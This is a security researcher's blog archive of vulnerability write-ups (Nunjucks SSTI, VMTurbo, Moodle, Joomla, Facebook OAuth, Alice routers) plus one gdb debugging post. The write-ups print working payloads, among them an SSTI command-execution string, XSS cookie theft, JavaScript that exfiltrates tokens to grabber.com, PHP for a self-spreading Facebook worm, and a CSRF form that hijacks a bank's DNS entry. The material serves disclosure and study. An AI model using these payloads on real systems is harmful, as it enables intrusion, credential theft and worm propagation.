Dissecting

Sandbox Breakout - A View of the Nunjucks Template Engine

2016-08-02T12:58:30+00:00

Introduction

This write-up describes a sandbox escape technique on Nunjucks template engine implemented by Tplmap, a tool to exploit Server-Side Template Injection vulnerabilities (SSTI) and achieve remote command execution on the operating system. Thanks to Andrea who has worked with me on this analysis.

Nunjucks

Nunjucks is a template engine for by Jinja2 used to develop web applications on Node.js web frameworks as Express or Connect. The snippet from a Connect application serves a web page (http://localhost:15004/page?name=John) which suffers from Server-Side Template Injection vulnerability.

app.use('/page', function(req, res){
  if(req.url) {
    var url_parts = url.parse(req.url, true);
    var name = url_parts.query.name;
    
    // Include user-input in the template
    var template = 'Hello ' + name + '!'; 
    
    rendered = nunjucks.renderString(
      str = template
    );
    res.end(rendered);
  }
});

The user controllable name GET parameter is concatenated to the template string instead of being passed as context argument, introducing the SSTI vulnerability. The vulnerable parameter can be detected injecting a basic operation which is evaluated at rendering time.

$ curl -g 'http://localhost:15004/page?name={{7*7}}'
Hello 49!
$

The vulnerability does not affect Nunjucks itself, but is introduced when the user’s input is directly concatenated to a template.

Sandbox escape

As many other template engines, Nunjucks template code runs in a sandboxed environment. Any global object is stripped out from the environment, to limit the surface which could be used to break out of the sandbox and execute arbitrary JavaScript. You can use Tplmap --tpl-shell option to inspect the sandbox surface.

Calling the global object console from within the template raises an undefined exception.

{{console.log(1)}}

// Template render error: (unknown path)
//  Error: Unable to call `console["log"]`, which is undefined or falsey

Luckily for the attacker the documentation describes three utility functions range, cycler, and joiner which are the only callables from within the template.

The constructor property of any function is the Function constructor which allows to create a new function starting from the body string.

{{range.constructor("console.log(123)")()}}
// 123

The code above is correctly evaluated. The operating system access instead is not straightforward since require() cannot be used to import standard modules without triggering an exception.

{{range.constructor("return require('fs')")()}}

//Template render error: (unknown path)
//  ReferenceError: require is not defined

The missing requireconstraint can be bypassed using global.process.mainModule.require. In the snippet below, the module fs is imported and printed.

{{range.constructor("return global.process.mainModule.require('fs')")()}}

[object Object]

Finally, the exploit to access the underlying operating system can be finalised executing tail /etc/passwd via the child_process.execSync() method.

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Tplmap integration

The sandbox escape technique has been integrated in Tplmap Nunjucks plugin to compromise the target in a fully automated way.

$ ./tplmap.py -u http://localhost:15004/page?name=* --engine Nunjucks --os-shell
[+] Tplmap 0.1
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Found placeholder in GET parameter 'name'
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  Engine: Nunjucks
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Code evaluation: yes, javascript code
   Shell command execution: yes
   File write: yes
   File read: yes
   Bind and reverse shell: yes

[+] Run commands on the operating system

linux $ tail /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Tplmap support of new template engines can be easily extended writing plugins. All contributions are greatly appreciated, both code or ideas of sandbox escapes of new template engines. Submit your sandbox break-out idea or code via Github issues and pull request.

VMTurbo Operations Manager vmtadmin.cgi Remote Command Execution

2014-07-30T23:58:30+00:00

VMTurbo Operations Manager is an appliance for the virtual machine management and can be exploite to compromise a vulnerable system due to an unauthenticated remote command execution vulnerability.

Certain CGI scripts exposed by the Operation Manager web interface do not properly sanitized before being used to execute system command. This vulnerability can be exploited to inject and execute arbitrary shell commands with privileges of the “wwwrun” user.

The vulnerability affects VMTurbo Operations Manager versions prior to 4.6-28657.

Vulnerability

The affected CGI cgi-bin/vmtadmin.cgi is a Perl script used to execute certain administrative tasks, depending on the parameters callType and actionType.


my $actiontype = $query->param("actionType");
my $calltype = $query->param("callType");
my $filedate = $query->param("fileDate");

my $statusfile = (defined $filedate) ? $filedate : $mon.".".$mday.".".$year.".".$hour.$min.".".$actiontype.".vmturbo.txt";

# ...
if ( $calltype eq "READ" ) {
        # ...
}
# ...
elsif ($calltype eq "ACTION" ) {
        if ( $actiontype eq "EXPORTBACKUP" ) {
                &authenticate;
                # ...
		}
		# ...
}
elseif ($calltype eq "DOWN") {
        if ( $actiontype eq "CFGBACKUP" ) {
                # Cfg download
                # TODO: Check if missing (should not be possible, as we just created it)
                open(DLFILE, "</tmp/vmtbackup.zip");
                @fileholder = <DLFILE>;
                close (DLFILE);
                # remove the log file as we dont need it
                # Allow at least one read of the logs first
                sleep(1);
                system("rm \"$upload_dir$statusfile\"");
                print "Content-Type:application/zip\n";
                print "Content-Disposition:attachment;filename=vmtbackup.zip\n\n";
                print @fileholder;
        }
		# ...
}

While most of the available actions call the authenticate() function to authenticate the request, the actions available when callType is set to DOWN are not protected by the authentication check. Moreover, some of these actions call the Perl function system() passing as parameter the unsanitized user input.

POC

The exploitation is blind and the command execution output is not returned to the HTTP request. We can obviusly use some time-based command to verify the vulnerabilty:

$ time curl "http://192.168.0.149/cgi-bin/vmtadmin.cgi?callType=ACTION&actionType=DOWN&fileDate=`sleep 10`"
real	0m10.114s
user	0m0.010s
sys     0m0.009s
$

The curl request returns after 10 seconds due to the sleep 10 command executed on the vulnerable system.

METASPLOIT MODULE

Find the metasploit module vmturbo_vmtadmin_exec_noauth.rb in my Github Advisories repository and find below a quick example of how it works.

REFERENCES

The advisory has been originally published by Emilio Pinna, Secunia Resarch.

Secunia has assigned the advisory id SA58880

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2014-5073 to the vulnerability.

DISCLOSURE

16/06/2014 - Request for Security contact. 17/06/2014 - Vendor reply with contact details. 19/06/2014 – Vendor notified with vulnerability details. 01/07/2014 - Preliminary release date adjusted to 14th July, 2014. 18/07/2014 – Vendor provides KB article. 25/07/2014 – Public disclosure.

Breaking Joomla! at Joomladay 2013

2013-10-13T19:04:31+00:00

Sono stato chiamato per esporre un talk sulle vulnerabilità delle web applications e in particolare di Joomla! in occasione del JoomlaDay 2013 italiano, svoltosi ieri nella bella area fiere Mostra d’oltremare a Napoli. E’ stata una occasione per toccare con mano la simpatia e l’operosità della community di Joomla italiana, e per conoscere altri Security Analyst come il bravo Egidio Romano che ha presentato un interessante talk sul PHP object injection.

Bella manifestazione, calorosa e allegra. Le foto della giornata, e a breve anche le registrazioni degli interventi, sono sul sito ufficiale del joomladay.

La presentazione non è particolarmente tecnica ed è fatta per essere comprensibile anche da chi non abbia particolari conoscenze di sicurezza. Per avviarla cliccate sulla immagine successiva e muovetevi nelle schermate con le freccette della tastiera. Have fun.

Moodle 2.5.0-1 badges/external.php PHP Object Injection

2013-09-16T12:58:30+00:00

Moodle CMS is prone to an object injection vulnerability, which can be exploited to execute internal PHP code passing malicious user-supplied input to an internal unserialize() PHP function.

The attacker can inject ad-hoc serialized object into the application scope, reusing internal PHP code snippets maliciously. In this scenario the attacker can delete arbitrary files and conduct XSS attacks.

The vulnerability affects Moodle CMS versions 2.5.0 and 2.5.1

Vulnerability

The affected file badges/external.php unserializes the user input in the line 35

$json = required_param('badge', PARAM_RAW);
$badge = new external_badge(unserialize($json));

POC

To exploit this kind of vulnerability is necessary to reuse some object method called during the life time of the object instance. As explained in the PHP manual magic methods documentation, two methods are necessarly called:

__wakeup(): This method is called at the wake up of the sleeping unserialized object.
__destroy(): As in other object-oriented languages, the destructor method is called at the end of the instance life.

Moreover two other __get(string $name) methods are called during this particular object instance lifetime, in the form of instance->$name.

__get("assertion"): Called in badges/renderer.php:377 $issued->assertion
__get("imageUrl"): Called in badges/renderer.php:389 array('src' => $issued->imageUrl)

FILE DELETE

The method csv_export_writer::__destruct() in lib/csvlib.class.php:538 contains

    public function __destruct() {
        fclose($this->fp);
        unlink($this->path);
    }

This can be exploited to delete arbitrary files passing the serialized object. Here the PoC to delete /path/of/the/file/to/delete:

http://localhost/badges/external.php?badge=O:17:"csv_export_writer":1:{s:4:"path";s:27:"/path/of/the/file/to/delete";}

XSS

The vulnerable script badges/external.php prints in line 43 the HTML code rendered using the injected unserialized $badge object

echo $output->render($badge);

The rendered HTML page built in the core_badges_renderer::render_external_badge() reflects the two object variable assertion and imageurl that can be used as XSS vector. Here the PoC of the XSS:

http://localhost/badges/external.php?badge=O:8:"stdClass":2:{s:8:"imageUrl";s:0:"";s:9:"assertion";O:8:"stdClass":1:{s:5:"badge";O:8:"stdClass":1:{s:6:"issuer";O:8:"stdClass":1:{s:4:"name";s:30:"<script>alert(1);</script><!--";}}}}

CVE REFERENCE

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-5674 to the vulnerability

DISCLOSURE

29/Jul/2013: Vendor alerted with MDL-40924 ticket
02/Sep/2013: Released fix commit 2d3c0faef by Yuliya Bozhko
07/Sep/2013: Moodle release 2.5.2
16/Sep/2013: Public disclosure

Joomla core 3.1.5 reflected XSS vulnerability

2013-08-05T12:58:30+00:00

Joomla core 3.1.5 suffers from a reflected XSS vulnerability that allows to inject HTML and malicious scripts. This can be exploited by malicious people to steal cookies and other sensitive information of other legitimate users in the context of the affected website.

Vulnerability

The affected file libraries/idna_convert/example.php has multiple injection points;

The unsanitized lang parameter in line 24:

if (isset($_REQUEST['lang'])) {
    if ('de' == $_REQUEST['lang'] || 'en' == $_REQUEST['lang']) $lang = $_REQUEST['lang'];
    $add .= '<input type="hidden" name="lang" value="'.$_REQUEST['lang'].'" />'."\n";
}

While lines 112 and 119 print out the unsanitized file name:

     <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">

The attacker can exploit these weaknesses to execute arbitrary HTML and script code tricking a legitimate logged-in user to visit a malicious crafted url:

http://localhost/joomla/libraries/idna_convert/example.php?lang="><script>alert(document.cookie);</script><!--

CVE

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-5583 to the vulnerability.

Disclosure

04/09: Vulnerability advised to the Joomla developers 05/09: Fixed deleting the example.php file 05/09: Vulnerability disclosure

Facebook OAuth token hijacking via repubblica.it XSS

2013-07-17T17:03:00+00:00

Facebook utilizza il protocollo OAuth per far comunicare le applicazioni e gli utenti della piattaforma allo scopo di autorizzare le applicazioni ad accedere alle informazioni e funzionalità dei profili degli utenti. Una debolezza del protocollo OAuth, in compresenza di vulnerabilità open redirect o XSS nel dominio web di una applicazione Facebook, permette ad un attaccante esterno di impersonare tale applicazione e di guadagnare i permessi ad essa concessi dagli utenti, come leggere i dati personali, accedere a messaggi privati e pubblicare nelle bacheche.

Queste e altre debolezze di OAuth sono state evidenziate nell’ultimo anno dagli ottimi ricercatori Nir Goldshlager e Egor Homakov che hanno pubblicato diversi articoli sulle vulnerabilità intrinseche al protocollo OAuth.

Vediamo un caso pratico dove un XSS nel dominio web di una applicazione molto usata come Repubblica.it permette di creare un facebook worm capace di replicarsi e collezionare informazioni degli utenti. Le elucubrazioni contenute in questo articolo sono state fatte con l’aiuto dell’amico e ricercatore di sicurezza Francesco Manzoni.

Facebook OAuth

Come già detto, la piattaforma Facebook utilizza OAuth per autorizzare le applicazioni ad accedere ai profili degli utenti. Ogni applicazione può accedere solo ai permessi che l’utente ha accettato alla sottoscrizione, come la lettura delle informazioni del profilo, lettura dei messaggi privati, accesso alle informazioni sugli amici, o la possibilità di pubblicare post sulla bacheca.

L’autorizzazione data alla applicazione esterna avviene con un passaggio di un token univoco temporaneo che l’utente chiede a Facebook, poi inviato al sito dell’applicazione con un semplice redirect. Una volta che l’applicazione riceve il token temporaneo, può accedere alle risorse dell’utente che gli sono permesse via Facebook API. Facciamo l’esempio con l’applicazione facebook di Repubblica.it.

VULNERABILITY

Il token viene passato tra i tre attori con delle semplici richieste GET, a cui viene aggiunto come fragment, dopo il carattere #. Anche l’indirizzo CALLBACK_URL su cui viene redirezionato il browser utente per consegnare il token a Repubblica.it viene passato come parametro nel parametro next della GET.

Queste specifiche di OAuth permettono ad un attaccante di forgiare un link particolare che se visitato dall’utente forza il browser a richiedere a Facebook il token autenticativo, per poi inviarlo all’attaccante esterno via una CALLBACK_URL vulnerabile di XSS o di open redirect. Da questo momento l’attaccante possiede il token con cui per un tempo limitato può sottrarre informazioni private dell’utente, postare nella sua bacheca utente e fare ciò che i permessi dell’applicazione consentono.

EXPLOIT

TOKEN HIJACKING

Per sfruttare la vulnerabilità, è necessaria un XSS o open redirect presente nel dominio che Facebook associa alla applicazione, in questo caso Repubblica.it. Prevedibilmente l’XSS, per di più DOM, è presente nel dominio repubblica.it questo indirizzo:

http://www.repubblica.it/static/includes/common/interstitial.html?href=javascript:alert("Yeah");

Procurata l’app_id della applicazione di repubblica, 182234715127717, abbozziamo la richiesta di token verso facebook

https://www.facebook.com/dialog/permissions.request?app_id=182234715127717&display=page&next=&response_type=token&fbconnect=1#sthash.q5jXmpqn.dpuf

Inseriamo la url vulnerabile nel XSS nel parametro che indica la CALLBACK_URL, ovvero next. In questo modo il browser dell’utente che fa la richiesta del token, viene poi ridirezionato all’indirizzo specificato in CALLBACK_URL, col quale estraiamo il token eseguendo via XSS il comando javascript alert(window.location.hash);:

https://www.facebook.com/dialog/permissions.request?app_id=182234715127717&display=page&next=http://www.repubblica.it/static/includes/common/interstitial.html?href=javascript:alert(window.location.hash);&response_type=token&fbconnect=1#sthash.q5jXmpqn.dpuf`

Siamo riusciti nell’intento di estrarre il token utilizzando il codice javascript iniettato nel XSS. Invece di mostrarlo a schermo, inviamolo allo script PHP dell’attacante installato su una terza macchina, l’host grabber.com nell’ultimo grafico. Componiamo il comando javascript con qualche piccolo hack per facilitare l’hijacking verso grabber.com:

Per inviare il token a un url esterno senza problemi di same origin policy, carichiamo nel documento una finta immagine da grabber.com/token.php
Rimuoviamo il carattere # in modo che il token venga inviato come parametro della GET access_token
Concateniamo la stringa finale con un join evitando di utilizzare i + che andrebbero persi nell’URL encoding delle diverse richieste

Il javascript da iniettare nella pagina vulnerabile diventa quindi

javascript:document.write(["<img ","src='","http://grabber.com/token.php?",window.location.hash.replace(String.fromCharCode(35),''),"'/>"].join(''));

FACEBOOK WORM

Il grabber esterno, a seconda dei permessi dati alla applicazione dagli utenti, può collezionare dati privati, i messaggi e ripostarsi nelle bacheche degli utenti che visitano il link malevolo. Perchè il worm possa ripostarsi, è necessario che in precedenza l’utente abbia approvato il permesso di scrivere in bacheca richiesto da repubblica.it. In questa dimostrazione limitiamoci a repostare il link allo scopo di creare un facebook worm. Bastano una finta notizia un pò catchy e poche linee di codice PHP per creare un post che si riposta automaticamente nella bacheca di chiunque lo clicchi.

<?
if (!array_key_exists('access_token', $_GET)) die();
$access_token=$_GET['access_token'];

file_put_contents('fbout.txt', $access_token .' ' , FILE_APPEND);

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "https://graph.facebook.com/me/feed");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'name' => 'Sentenze manipolate, manette per Silvio Berlusconi',
    'caption' => 'repubblica.it',
    'description' => 'La Guardia di Finanza di Milano ha eseguito nel pomeriggio un ordine di arresto nei confronti del cavaliere Silvio Berlusconi, reo di avere corrotto ',
    'link' => 'https://www.facebook.com/dialog/permissions.request?app_id=182234715127717&display=page&next=http://www.repubblica.it/static/includes/common/interstitial.html?href=javascript:document.write(["<img ","src=\'","http://grabber.com/token.php?",window.location.hash.replace(String.fromCharCode(35),""),"\'/>"].join(\'\'));&response_type=token&fbconnect=1#sthash.q5jXmpqn.dpuf',
    'picture' => 'http://www.repubblica.it/images/2013/03/13/094653287-01e6777c-9cdb-46f1-b7c5-694920034ad8.jpg',
    'access_token' => $access_token
));

echo curl_exec($ch);
curl_close($ch);

?>

Il risultato è di indubbio effetto e in grado di ripostarsi in poco tempo in maniera esponenziale. Un token grabber più elaborato potrebbe facilmente raccogliere tutte le informazioni possibili da ogni profilo bucato, e in caso di applicazioni autorizzate ad accedere alla mailbox utente, addirittura fare un dump di tutti i messaggi privati degli utenti che visitano il link.

Lato Facebook il baco è difficile da estirpare, le specifiche di OAuth permettono il passaggio del token via GET, ed chi si occupa di sicurezza delle web application sa che la gran parte dei siti contengono vulnerabilità XSS o open redirect. Lato utente rimane sempre la buona abitudine di non cliccare link sospetti, e di provvedere immediatamente alla cancellazione nel caso si noti una inaspettata viralità del post nelle bacheche dei propri contatti.

Disclosure:

4 Luglio 2013: Segnalata vulnerabilità alla mail helpdesk del sito di Repubblica.it, nessuna risposta. 11 Luglio 2013: Segnalata vulnerabilità a 3 mail di amministratori, nessuna risposta. 17 Luglio 2013: Pubblicazione della vulnerabilità. 19 luglio 2013: Dopo un gentile scambio di mail con i tecnici di Repubblica.it, verifico che il DOM XSS è stato fixato.

Core dump analysis in cross-compiled enviroinments

2013-01-15T12:03:00+00:00

Process crash debug could be improved automatizing core dump analysis, especially on Linux embedded systems where on-the-fly debug is not feasible and the post-mortem analysis of core dumps is the best way to analyse process crashes stack traces.

Prepare the enviroinment

Core dumps generated in cross-compiled enviroinment analysis requires binaries and linked libraries, including debug symbols, related to crashed process. First copy binaries and libraries (or the whole filesystem) in release/ folder. Then, install in your host machine the GNU debugger (gdb) for the target architecture: in this example I use arm-none-linux-gnueabi-gdb for ARM enviroinments. Please refer to your Linux packaging system or to official documentation to get proper gdb for the architecture.

Configure GDB init

Configure GDB to find properly binaries and linked libraries. Create an init file in release/gdb-init.txt, as described, replacing $sysroot_release with your release/ absolute path.

# Set filesystem root folder
set sysroot $sysroot_release

# Prepend prepared filesystem path
set solib-absolute-prefix $sysroot_release

# If external debug symbols are used, set correct references to them
set substitute-path /usr/src/debug $sysroot_release/usr/src/debug
set debug-file-directory $sysroot_release/usr/lib/debug

# Set library path
set solib-search-path $sysroot_release/usr/lib/

The described GDB configuration is enough to analyse manually the core dump. Run interactive gdb session if you want to analyse manually cores/core.foo generated by /usr/bin/foo binary.

$ arm-none-linux-gnueabi-gdb "releases/usr/bin/foo" "cores/core.foo" -ix "releases/gdbinit.txt"

Googling around you can find further GDB initialization useful to append to init file, for example some procedures to pretty print common standard C++ objects and structures.

Configure GDB rc file

To extract debug informations in a complete automatic way, prepare an rc file in release/gdb-rc.txt with commands to execute:

# Show debug symbols availability 
echo \n== Info sharedlibrary\n
info sharedlibrary

# Show running threads
echo \n== Info threads\n
info threads

# Show backtrace summary
echo \n== Backtrace\n
backtrace

# Show full backtrace of all threads
echo \n== Thread apply all backtrace full\n
thread apply all backtrace full

# Show registers values
echo \n== Info registers\n
info registers

# Disassemble last run functions
echo \n== Disas\n
disas

In this way you can extract automatically main informations about crash, for example simply running the following command to save the output in analysis/core.foo.analysis.txt:

$ arm-none-linux-gnueabi-gdb "releases/usr/bin/foo" "cores/core.foo" -ix "releases/gdbinit.txt" -x "releases/gdbrc.txt" -batch > "analysis/core.foo.analysis.txt"

Have a good core crunching.

Alice Gate AGPF: CSRF reconfiguration vulnerability details

2012-09-02T23:56:00+00:00

Questo post fa parte della serie di articoli sulla vulnerabilità CSRF dei router Alice, leggi l’articolo introduttivo.

Aggiornamento 12/2012: La vulnerabilità CSRF è stata mitigata abilitando la richiesta di password per accedere al pannello di amministrazione. La tecnica per sbloccare le funzionalità nascoste del proprio router rimane comunque valida.

I router Alice Gate VoIP 2 Plus Wifi (AGPF) sono distribuiti dal 2008 mentre i router Adsl2+ Wi-Fi N (AGPWI) sono l’ultima serie distribuita dal 2012, e entrambi contano una vasta letteratura su metodi di sblocco via ponticelli hardware, jtag, trigger di backdoor via pacchetti su rete locale allo scopo di sostituire il firmware, sbloccare menu avanzati, personalizzare il voip e gli aspetti più disparati.

Dei tanti metodi trovati per lo sblocco dei router, quello qui esposto è per ora il più immediato, poichè eseguibile con una semplice richiesta POST triggerata da una pagina HTML, per di più sfruttabile via attacco CSRF.

Sblocco

Attenzione: le modifiche alla configurazione interna del router Alice Gate VoIP 2 Plus Wifi potrebbero essere vietate dal contratto stipulato con il provider, e apportare danni al router rendendolo inutilizzabile. Prima di effettuare qualsiasi modifica assicurarsi di saper ripristinare le impostazioni iniziali. Esegui i test dimostrativi a tuo rischio e pericolo.

Lo studio sulla sicurezza dell'apparato è da intendersi a scopo didattico. In caso possediate il router in oggetto apprestatevi subito a mitigare la vulnerabilità per proteggere la propria connessione casalinga in attesa di un aggiornamento da parte del distributore. L'autore non è responsabile di danni agli apparati o violazioni a sistemi informatici derivanti dall'uso delle tecniche esposte. Ricordo che l'accesso abusivo ad un sistema informatico e perseguibile secondo l'articolo 615-ter del codice penale.

I router AGPF e AGPWI prodotti dalla Pirelli Broadband Solution/ADB BROADBAND e distribuiti dalla Telecom sotto i rispettivi nomi di Gate VoIP 2 Plus Wifi e Adsl2+ Wi-Fi N, monta un kernel Linux con middleware openrg per la gestione di gateway, servizi, interfacce utente, etc. Il cuore del sistema è descritto dal file di configurazione discus.conf, derivato dal openrg.conf dei sistemi openrg vanilla, descritto da una sintassi particolare come si notare da alcuni file pubblicati in rete.

Discus.conf

Il file discus.conf controlla ogni aspetto della configurazione del sistema Linux/opernrg installato sul router, come si evince dalle categorie principali delle opzioni configurabili:


(openrg
  (dev())
  (admin())
  (system())
  (wbm())
  (syslog())
  (dns())
  (disk())
  (fs())
  (print_server())
  (service())
  (fw())
  (rip())
  (mcast())
  (rmt_upd())
  (voip())
  (enotify())
  (email())
  (radius())
  (cwmp())
  (manufacturer())
  (cert())
  (ssh())
  (upnp())
  (pppoe_relay())
  (qos())
  (network())
  (internal())
  (modem())
  (themanager())
)

Si accede alle singole voci specificando il path: ci si riferisce per esempio alla terza entry DNS presente in (dns(entry(3(...))) con il path dns/entry/3. Ogni modifica effettuata alla configurazione scatena una procedura di allineamento del sistema alla configurazione attuale. Ad esempio la modifica del path admin/telnets/ports per aprire una nuova porta triggera l’avvio del telnetd, la modifica delle regole del firewall, etc.

Sapendo cosa cercare in giro per l’internet si trovano i manuali sulla configurazione del discus.conf e l’intero sistema: un utilissimo manuale che descrive ogni campo del file di configurazione, una guida alla programmazione e all’utilizzo.

Il parametro HTTP stack_set

L’interfaccia web accessibile all’indirizzo http://192.168.1.1, espone alcune pagine per configurare e visionare lo stato del router. Gli aspetti configurabili via interfaccia web sono limitati a poche voci quali port forwarding, QoS, dns dinamico e poco altro: una piccola parte rispetto alla configurazione reale descritta dal file discus.conf vista sopra.

Le pagine che modificano campi multipli, ad esempio il port forwarding, eseguono una richiesta HTTP POST al file CGI /admin.cgi particolare come in questo esempio:


/admin.cgi?active_page=9130&page_title=Alice - Info&mimic_button_field=submit_button_avanti: avanti..&button_value=attiva&strip_page_top=0&stack_set=(stack_set
  (0
    (path(fw/rule/loc_srv))
    (index(-1))
    (set
      (-1
        (services
          (0
            (name(de))
            (trigger
              (0
                (protocol(6))
                (dst
                  (start(90))
                  (end(90))
                )
              )
              (1
                (protocol(17))
                (dst
                  (start(90))
                  (end(90))
                )
              )
            )
          )
        )
        (enabled(1))
      )
    )
  )
)

Il parametro POST stack_set contiene intere parti di configurazione che vengono scritte sul file discus.conf interno. Interpretando la sintassi si può tentare la modifica di un path diverso da quello dalla richiesta originale. Il parametro active_page cambia da versione a versione di AGPF e AGPWI, ma il formato della richiesta rimane identica. Per prova, cambiamo il path admin/telnets/disabled da 1 a 0 in modo da attivare il servizio telnet:


/admin.cgi?active_page=9130&page_title=Alice - Info&mimic_button_field=submit_button_avanti: avanti..&button_value=attiva&strip_page_top=0&stack_set=(set
  (0
    (path(admin/telnets/disabled))
    	(set(disabled(0)))
  )
)

E la porta telnet è aperta. Colleghiamoci alla porta 23 con il comando telnet 192.168.1.1 utilizzando come username admin e come password riattizzati. Con il comando help si vedono i comandi disponibili, e con system shell si spawna una shell busybox nel Linux installato. Suggerisco di aprire le interfacce di amministrazione principali quali telnet e menù avanzato di amministrazione per poi gestire comodatemente le altre configurazioni senza dover fare POST request ogni volta.

CSRF

La tecnica di riconfigurazione descritta sopra via semplice richiesta POST si presta perfettamente ad un attacco CSRF con cui forzare il browser di un utente vittima a effettuare una richiesta volta a prendere il controllo del suo router. Le condizioni necessarie a un attacco sono abilitate di default:

Nessuna autenticazione è richiesta per accedere all’interfaccia web
Nessun token anti CSRF è utilizzato

E’ quindi sufficiante forgiare una pagina web e farci accedere il malcapitato per effettuare un qualsiasi attacco come quelli descritti nell’articolo introduttivo. Intercettare le connessioni sottraendo le credenziali di mail, siti social, home banking etc. è uno degli attacchi più semplici da effettuare: poichè gli host collegati alla rete interna del router utilizzano come DNS server il router stesso, è sufficiente aggiungere una entry per deviare le connessioni verso un sito clone, o un reverse proxy, con cui raccogliere le credenziali degli utenti vulnerabili.

Vediamo come preparare una pagina HTML, che quando visualizzata da un utente vulnerabile configura il router in modo che rediriga tutte le connessioni successive a www.mybank.com verso disse.cting.org, questo blog.

(stack_set
  (0
    (path(dns/entry))
    (index(-1))
    (set
      (-1
        (ip(109.168.126.241))
        (hostname(www.mybank.com))
      )
    )
  )
)

Una volta assicurati che la richiesta POST è corretta (attenzione, richieste sbagliate potrebbero corrompere il file di configurazione e rendere il modem inutilizzabile) prepariamo il form per l’autoesecuzione del CSRF:


<FORM action="http://192.168.1.1/admin.cgi" method="post">
<INPUT type=HIDDEN name="active_page" value="9130">
<INPUT type=HIDDEN name="page_title" value="Alice - Info">
<INPUT type=HIDDEN name="mimic_button_field" value="submit_button_avanti: avanti..">
<INPUT type=HIDDEN name="button_value" value="attiva">
<INPUT type=HIDDEN name="strip_page_top" value="0">
<INPUT type=HIDDEN name="stack_set" value="(stack_set
  (0
    (path(dns/entry))
    (index(-1))
    (set
      (-1
        (ip(109.168.126.241))
        (hostname(www.mybank.com))
      )
    )
  )
)
">
</FORM>
<SCRIPT>
window.onload = function(){ document.forms[0].submit(); }
</SCRIPT>

Un browser che apra questa pagina automaticamente farà un submit del form aggiungendo nel path path dns del discus.conf il record malevolevolo, con ovvie possibilità di phishing e sottrazione delle credenziali di www.mybank.com. Gli altri attacchi descritti nell’articolo introduttivo sono ugualmente semplici da effettuare.

Mitigazione

Ho contattato Telecom Italia un mese fa, offrendo la analisi tecnica della vulnerabilità e PoC per facilitarne lo studio. Per risolvere il problema il fix ufficiale dovrebbe:

Sanificare l’input inviato dall’utente con la variabile HTTP post, evitando la riscrittura del file di configurazione via richista HTTP
Implementando anti CSRF token per ogni form
Abilitando di default l’autenticazione alla interfaccia web

I primi due punti non sono applicabili dall’utente poichè il CGI vulnerabile è compilato in un binario che gestisce l’interfaccia web. Il terzo fix non risolve la situazione ma limita i casi in cui l’attacco CSRF può andare a segno. Questo metodo ed altre protezioni da abilitare in attesa che venga rilasciato il fix ufficiale.

Alice Gate AGPF e AGPWI: CSRF reconfiguration vulnerability

2012-09-02T11:56:00+00:00

Aggiornamento 12/2012: La vulnerabilità CSRF è stata mitigata abilitando la richiesta di password per accedere al pannello di amministrazione. La tecnica per sbloccare le funzionalità nascoste del proprio router rimane comunque valida.

Una buona fetta degli utenti ADSL italiani sono a rischio intercettazione di comunicazioni internet e telefoniche, a causa di una grave vulnerabilità presente nei modelli di router Telecom ADSL Alice Gate VoIP 2 Plus Wi-Fi e ADSL2+ Wi-Fi N.

Impatto

Un utente Telecom Italia che visita una pagina web appositamente preparata permette a un malintenzionato di prendere il completo controllo del router in maniera permanente, esponendo all’attaccante esterno il traffico privato internet e voce fino a che non si effettua esplicitamente il reset delle configurazioni di fabbrica. Alcuni attacchi possibili una volta preso il controllo del router sono:

Intercettazione dei i siti visitati dall’utente e redirezione verso siti copia fasulli per rubare credenziali di mail, social network, home banking, etc modificando i record del DNS.
Ascolto delle chiamate telefoniche, telefoni analogici compresi, sostituendo l’indirizzo del server VoIP ufficiale con quello di uno preparato per le intercettazioni.
Instradamento di tutto il traffico verso una macchina dell’attaccante allo scopo di analizzare il traffico e sottrarre dati sensibili.
Apertura dei pannelli di controllo del router verso internet con il quale l’attaccante mantiene l’accesso remoto al router nel tempo, con una interfaccia web esposta verso internet e tracciata via dns dinamico.

Il numero di utenti che posseggono il router coinvolto è imponente: secondo la relazione finanziaria annuale di Telecom Italia, gli utenti broadband sono circa 9 milioni. Sui sette modelli di router ADSL distribuiti nella storia di Alice, tre sono stati distribuiti massicciamente negli ultimi cinque anni: Alice Gate VoIP 2 plus Wi-Fi (firmware AGPF, vulnerabile), Alice Gate2 plus Wi-Fi e l’ultimo ADSL2+ Wi-Fi N (AGPWI, vulnerabile). Anche andando cauti con la stima, il numero di possessori del router vulnerabile è molto alto.

Lo studio sulla sicurezza dell'apparato è da intendersi a scopo didattico. L'autore non è responsabile di danni agli apparati o violazioni a sistemi informatici derivanti dall'uso delle tecniche esposte. Ricordo che l'accesso abusivo ad un sistema informatico e perseguibile secondo l'articolo 615-ter del codice penale.

vulnerabilità

La vulnerabilità risiede nel pannello di controllo del router: effettuando una particolare richiesta HTTP all’URL http://192.168.1.1/admin.cgi è possibile riscrivere qualsiasi configurazione interna del router. Questo difetto unito alla mancanza di protezioni CSRF permette di forzare il browser dell’utente vittima che visita un sito trappola a riconfigurare il proprio router in maniera automatica consegnandone il controllo al maleintenzionato.

Automatizzare l’attacco su larga scala è semplice: l’attaccante pubblica una pagina HTML che cambia il DNS per intercettare le connessioni e effettuare phishing, e espone la interfaccia web/telnet del modem ADSL verso internet mantenendo il controllo del router nel tempo con un DNS dinamico. Pubblicando il link a questa pagina in un sito molto trafficato creerebbe in poche ore una botnet di migliaia di router sotto il controllo dell’attaccante, con conseguenze molto gravi.

Leggi l’articolo tecnico su questo difetto e su come si utilizza per personalizzare il proprio router e sbloccare le sue funzionalità nascoste.

